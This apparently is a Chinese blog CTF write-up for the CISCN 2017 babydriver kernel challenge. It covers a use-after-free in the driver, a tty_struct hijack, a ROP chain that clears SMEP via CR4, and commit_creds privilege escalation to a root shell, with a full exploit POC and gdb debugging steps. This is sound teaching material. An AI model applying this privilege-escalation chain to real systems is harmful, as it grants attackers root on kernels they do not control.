Kernel PWN从入门到入土-Kernel ROP && Bypass SEMP

本次仍然是以ciscn 2017 babydriver为例

qemu

还是先起一下qemu看看,仍然使用给出的start.sh、bzImage、rootfs.cpio。

可以看到是ok的。

init:

关于提取.ko这里不再赘述了,就是把rootfs.cpio解开然后copy一份。

ko Analyse

首先Shift+F9看一下结构体:

双击babydevice_t这个结构体:

然后分析一下主要函数:

babyioctl()

首先定义的0x1001这个command,具体功能是,kfree掉device_buf,然后重新kmalloc一个我们指定大小的空间,地址存储在device_buf上,最后设置device_buf_len为我们指定的size。

babyopen()

申请一块0x40大小的空间,地址存储在device_buf上,并设置device_buf_len为0x40。

babyrelease()

释放device_buf上存储的地址的空间。

babywrite()

若device_buf上存有地址并且size小于device_buf_len,则把buffer上的数据copy到device_buf存储的地址中。

babyread()

与上面babywrite()大体相同,只是将device_buf上地址存储的数据copy到buffer中。

还有babydriver_init()和babydriver_exit()完成了/dev/babydev 设备的初始化和清理。

思路:存在条件竞争引起的UAF,如果我们同时打开两个设备,因为babydev_struct是全局的,那么第二次会覆盖第一次申请的空间,因此释放一个可以用另一个来修改内存。

Bypass SEMP

可以看到开了smep保护,那这个保护到底是什么呢?

smep: Supervisor Mode Execution Protection,当处理器处于 ring0 模式,执行 用户空间 的代码会触发页错误。(在 arm 中该保护称为 PXN)

内核执行保护

那怎么绕过呢?

我们需要知道,系统是根据CR4寄存器的值来判断smep保护是否开启。当CR4寄存器第20位为1时,保护开启;为0时,保护关闭。

可以通过下面这段代码关闭semp:

mov cr4,0x6f0
pop rdi; ret
0x6f0
mov cr4,rdi; ret;

#0b0000 0000 0000 0110 1111 0000

tty_struct&&tty_operations

我们需要了解一下这个结构体。

tty_struct:

struct tty_struct {
    int magic;
    struct kref kref;
    struct device *dev;
    struct tty_driver *driver;
    const struct tty_operations *ops;
    int index;
    /* Protects ldisc changes: Lock tty not pty */
    struct ld_semaphore ldisc_sem;
    struct tty_ldisc *ldisc;
    struct mutex atomic_write_lock;
    struct mutex legacy_mutex;
    struct mutex throttle_mutex;
    struct rw_semaphore termios_rwsem;
    struct mutex winsize_mutex;
    spinlock_t ctrl_lock;
    spinlock_t flow_lock;
    /* Termios values are protected by the termios rwsem */
    struct ktermios termios, termios_locked;
    struct termiox *termiox;    /* May be NULL for unsupported */
    char name[64];
    struct pid *pgrp;       /* Protected by ctrl lock */
    struct pid *session;
    unsigned long flags;
    int count;
    struct winsize winsize;     /* winsize_mutex */
    unsigned long stopped:1,    /* flow_lock */
              flow_stopped:1,
              unused:BITS_PER_LONG - 2;
    int hw_stopped;
    unsigned long ctrl_status:8,    /* ctrl_lock */
              packet:1,
              unused_ctrl:BITS_PER_LONG - 9;
    unsigned int receive_room;  /* Bytes free for queue */
    int flow_change;
    struct tty_struct *link;
    struct fasync_struct *fasync;
    wait_queue_head_t write_wait;
    wait_queue_head_t read_wait;
    struct work_struct hangup_work;
    void *disc_data;
    void *driver_data;
    spinlock_t files_lock;      /* protects tty_files list */
    struct list_head tty_files;
#define N_TTY_BUF_SIZE 4096
    int closing;
    unsigned char *write_buf;
    int write_cnt;
    /* If the tty has a pending do_SAK, queue it here - akpm */
    struct work_struct SAK_work;
    struct tty_port *port;
} __randomize_layout;

其中又有另一个结构体tty_operations:

struct tty_operations {
    struct tty_struct * (*lookup)(struct tty_driver *driver,
            struct file *filp, int idx);
    int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
    void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
    int  (*open)(struct tty_struct * tty, struct file * filp);
    void (*close)(struct tty_struct * tty, struct file * filp);
    void (*shutdown)(struct tty_struct *tty);
    void (*cleanup)(struct tty_struct *tty);
    int  (*write)(struct tty_struct * tty,
              const unsigned char *buf, int count);
    int  (*put_char)(struct tty_struct *tty, unsigned char ch);
    void (*flush_chars)(struct tty_struct *tty);
    int  (*write_room)(struct tty_struct *tty);
    int  (*chars_in_buffer)(struct tty_struct *tty);
    int  (*ioctl)(struct tty_struct *tty,
            unsigned int cmd, unsigned long arg);
    long (*compat_ioctl)(struct tty_struct *tty,
                 unsigned int cmd, unsigned long arg);
    void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
    void (*throttle)(struct tty_struct * tty);
    void (*unthrottle)(struct tty_struct * tty);
    void (*stop)(struct tty_struct *tty);
    void (*start)(struct tty_struct *tty);
    void (*hangup)(struct tty_struct *tty);
    int (*break_ctl)(struct tty_struct *tty, int state);
    void (*flush_buffer)(struct tty_struct *tty);
    void (*set_ldisc)(struct tty_struct *tty);
    void (*wait_until_sent)(struct tty_struct *tty, int timeout);
    void (*send_xchar)(struct tty_struct *tty, char ch);
    int (*tiocmget)(struct tty_struct *tty);
    int (*tiocmset)(struct tty_struct *tty,
            unsigned int set, unsigned int clear);
    int (*resize)(struct tty_struct *tty, struct winsize *ws);
    int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
    int (*get_icount)(struct tty_struct *tty,
                struct serial_icounter_struct *icount);
    void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
    int (*poll_init)(struct tty_driver *driver, int line, char *options);
    int (*poll_get_char)(struct tty_driver *driver, int line);
    void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
    int (*proc_show)(struct seq_file *, void *);
} __randomize_layout;

可以看到里面有很多白花花的指针,控制住这个结构体必然可以getshell,但是这里我们需要说清楚几点问题。

首先tty_struct这个结构体大小为0x2e0,当open(“/dev/ptmx”, O_RDWR)时会创建一个tty_struct。当对上述文件描述符进行操作时即会调用tty_operations中的函数,例如write就会调(*write)(struct tty_struct * tty,const unsigned char *buf, int count);

如何控制这个结构体呢?

可以用UAF构造一个0x2e0的的空间,当作新的tty_struct,修改里面的指针,劫持程序流。

ROP exploit

先找gadgets保存备用,这里推荐用Ropgadget,自行安装,使用之前记得提取vmlinux。

extract-vmlinux bzImage > vmlinux

寻找gadgets,用ropper卡在96%,用ROPgadget很快就提取完了:

ropper --file ./vmlinux --nocolor > gadgets

ROPgadget --binary vmlinux > gadgets_2

利用思路:利用babyioctl()创建一个0x2e0的空间并触发UAF,然后open tty设备,那么我们就可以利用UAF修改tty_struct中的tty_operations为伪造的fake_tty_operations了。修改其中指针进行栈转移,之后再关闭semp即可返回用户态提权。

关于提权可以调用commit_creds(prepare_kernel_creds(0)),并且返回用户态前有一些准备要完成,在前置知识已经说过了,这里不再赘述。

梳理一下我们需要的gadgets

1) xchg eax, esp来设置栈。

2) 修改CR4,关闭semp

3) swapgs,回到用户空间之前的准备。

4) iretq,用来回到用户空间特权级方便打开shell。

5) commit_creds

6) prepare_kernel_cred

前面4个需要的gadgets可以通过ropper提取出来,而后面两个需要在/proc/kallsyms中读取。

/ $ cat /proc/kallsyms | grep "commit_creds"
ffffffff810a1420 T commit_creds
ffffffff81d88f60 R __ksymtab_commit_creds
ffffffff81da84d0 r __kcrctab_commit_creds
ffffffff81db948c r __kstrtab_commit_creds

/ $ cat /proc/kallsyms | grep "prepare_kernel_cred"
ffffffff810a1810 T prepare_kernel_cred
ffffffff81d91890 R __ksymtab_prepare_kernel_cred
ffffffff81dac968 r __kcrctab_prepare_kernel_cred
ffffffff81db9450 r __kstrtab_prepare_kernel_cred

构造下面的rop链:

	size_t pop_rdi_ret=0xffffffff810d238d;
	size_t mov_cr4_rdi_pop_rbp=0xffffffff81004d80;
	size_t swapgs=0xffffffff81063694;
	size_t iretq_ret=0xffffffff814e35ef;
	size_t pop_rax_rbx_ret=0xffffffff810635f5;
	size_t mov_rsp_rax_dec_ebx_ret=0xFFFFFFFF8181BFC5;

	size_t rop[0x20]={0};
	int i=0;

	//rop
	rop[i++]=pop_rdi_ret;
	rop[i++]=0x6f0;
	rop[i++]=mov_cr4_rdi_pop_rbp;
	rop[i++]=0;
	rop[i++]=(size_t)root;
	rop[i++]=swapgs;
	rop[i++]=0;
	rop[i++]=iretq_ret;
	rop[i++]=(size_t)shell;
	rop[i++]=user_cs;
	rop[i++]=user_rflags;
	rop[i++]=user_sp;
	rop[i++]=user_ss;

构造下面的fake_tty_operations:

	//fake_tty_operations
	size_t  fake_tty_operations[0x20];
	fake_tty_operations[0]=pop_rax_rbx_ret;
	fake_tty_operations[1]=(size_t)rop;
	fake_tty_operations[3]=mov_rsp_rax_dec_ebx_ret;
	fake_tty_operations[7] = mov_rsp_rax_dec_ebx_ret;

rop就是关闭semp然后返回用户态提权,然后将一开始保存的状态恢复。

接下来uaf,和上篇一样的:

	//UAF
	int fd1=open("/dev/babydev",2);
	int fd2=open("/dev/babydev",2);
	if(fd1<0||fd2<0){
		puts("[-]Open Failed!");
		exit(0);
	}
	ioctl(fd1,0x10001,0x2e0);
	close(fd1);

接着打开新的tty设备,就可以申请到刚才kfree的内存空间了,并且可以通过fd2修改这块空间达到修改tty_struct的目的(看tty_struct确定偏移)。

	//Hijack tty_struct
	int fd_tty=open("/dev/ptmx",2);
	size_t fake_tty_struct[4]={0};
	read(fd2,fake_tty_struct,0x20);
	fake_tty_struct[3]=(size_t)fake_tty_operations;
	write(fd2,fake_tty_struct,0x20);

之后触发rop即可:

	//ROP
	write(fd_tty,"Railgun",7);

编译一下丢入文件系统并重新生成rootfs.cpio。

报错:

exploit_rop.c: Assembler messages:
exploit_rop.c:16: Error: too many memory references for `mov'

解决如下:

railgun@Kernel:~/ciscn_babydriver$ gcc exploit_rop.c -o exploit_rop -masm=intel -static

railgun@Kernel:~/ciscn_babydriver$ sudo mv exploit_rop core/tmp/
[sudo] password for railgun:

railgun@Kernel:~/ciscn_babydriver$ sudo sh getrootfs.sh

这个getrootfs.sh就是生成rootfs.cpio:

railgun@Kernel:~/ciscn_babydriver$ cat getrootfs.sh 
# /bin/sh

cd core/
find . | cpio -o --format=newc > ../rootfs.cpio

然后起qemu:

运行了很多次都是无法提权成功,不知道是哪里出了问题,各种找原因,网上师傅们的poc代码也试了,还是不行。最后找别的师傅要了份编译好的POC跑了一下就成了,但是自己编译师傅的代码仍然会出问题。

后面和Lime师傅用一样的Ubuntu16.04编译即提权成功。

#Whole POC

#include<stdio.h>
#include<fcntl.h>
#include<unistd.h>
#include<stdlib.h>
#include<sys/ioctl.h>

size_t prepare_kernel_cred=0xffffffff810a1810;
size_t commit_creds=0xffffffff810a1420;

size_t user_ss,user_cs,user_rflags,user_sp;
void save_status(){
	asm("mov user_cs,cs;"
		"mov user_ss,ss;"
		"mov user_sp,rsp;"
		"pushf;"
		"pop user_rflags;"
	);
	puts("[*]status has been saved.");
}

void shell(){
	if(getuid()==0){
		puts("[*]Pwned");
		system("/bin/sh");
	}else{
		puts("[*]Failed");
		exit(0);
	}
}

void root(){
	((void(*)(char*))commit_creds)(((char*(*)(int))prepare_kernel_cred)(0));
}

void main(){
	save_status();
	size_t pop_rdi_ret=0xffffffff810d238d;
	size_t mov_cr4_rdi_pop_rbp=0xffffffff81004d80;
	size_t swapgs=0xffffffff81063694;
	size_t iretq_ret=0xffffffff814e35ef;
	size_t pop_rax_rbx_ret=0xffffffff810635f5;
	size_t mov_rsp_rax_dec_ebx_ret=0xFFFFFFFF8181BFC5;
	size_t rop[0x20]={0};
	int i=0;

	//rop
	rop[i++]=pop_rdi_ret;
	rop[i++]=0x6f0;
	rop[i++]=mov_cr4_rdi_pop_rbp;
	rop[i++]=0;
	rop[i++]=(size_t)root;
	rop[i++]=swapgs;
	rop[i++]=0;
	rop[i++]=iretq_ret;
	rop[i++]=(size_t)shell;
	rop[i++]=user_cs;
	rop[i++]=user_rflags;
	rop[i++]=user_sp;
	rop[i++]=user_ss;

	//fake_tty_operations
	size_t  fake_tty_operations[0x20];
	fake_tty_operations[0]=pop_rax_rbx_ret;
	fake_tty_operations[1]=(size_t)rop;
	fake_tty_operations[3]=mov_rsp_rax_dec_ebx_ret;
	fake_tty_operations[7] = mov_rsp_rax_dec_ebx_ret;

	//UAF
	int fd1=open("/dev/babydev",2);
	int fd2=open("/dev/babydev",2);
	if(fd1<0||fd2<0){
		puts("[-]Open Failed!");
		exit(0);
	}
	ioctl(fd1,0x10001,0x2e0);
	close(fd1);

	//Hijack tty_struct
	int fd_tty=open("/dev/ptmx",2);
	size_t fake_tty_struct[4]={0};
	read(fd2,fake_tty_struct,0x20);
	fake_tty_struct[3]=(size_t)fake_tty_operations;
	write(fd2,fake_tty_struct,0x20);

	//ROP
	write(fd_tty,"Railgun",7);
}

POC Debug

还是老一套,加载symbol,修改boot.sh,然后起qemu之后再gdb target remote

gdb vmlinux -q 

pwndbg> add-symbol-file ./core/lib/modules/4.4.72/babydriver.ko 0xffffffffc0000000 
add symbol table from file "./core/lib/modules/4.4.72/babydriver.ko" at .text_addr = 0xffffffffc0000000 Reading symbols from ./core/lib/modules/4.4.72/babydriver.ko…done.

pwndbg> target remote 127.0.0.1:1234

下几个断:

pwndbg> b *babyopen
Breakpoint 1 at 0xffffffffc0000030: file /home/atum/PWN/my/babydriver/kernelmodule/babydriver.c, line 28.
pwndbg> b *babywrite
Breakpoint 2 at 0xffffffffc00000f0: file /home/atum/PWN/my/babydriver/kernelmodule/babydriver.c, line 48.
pwndbg> b *babyioctl
Breakpoint 3 at 0xffffffffc0000080: file /home/atum/PWN/my/babydriver/kernelmodule/babydriver.c, line 56.

然后c,并且运行POC。

断到第一次open打开fd1:

看到申请空间的地址及大小,接着到第二次open打开fd2:

然后接着走,到babyioctl,让它运行完:

可以看到,全局变量存储的大小已经是0x2e0了,接着走断在了babywrite:

在write之前打开了tty设备,被释放的0x2e0的内存空间应该是用来当作tty_struct了,其中存放着tty_operations,如上图。接着走,write完成:

可以看到tty_struct中的tty_operations指针发生了变化,改为我们伪造了fake_tty_operations的地址,而上者的第二个指针是我们构造的ROP链:

接着执行write即触发了ROP链,ROP链完成了关闭SEMP、提权、返回用户态、getshell、还原状态等功能,从而提权成功。

Leave a Reply

Your email address will not be published. Required fields are marked *

eleven − ten =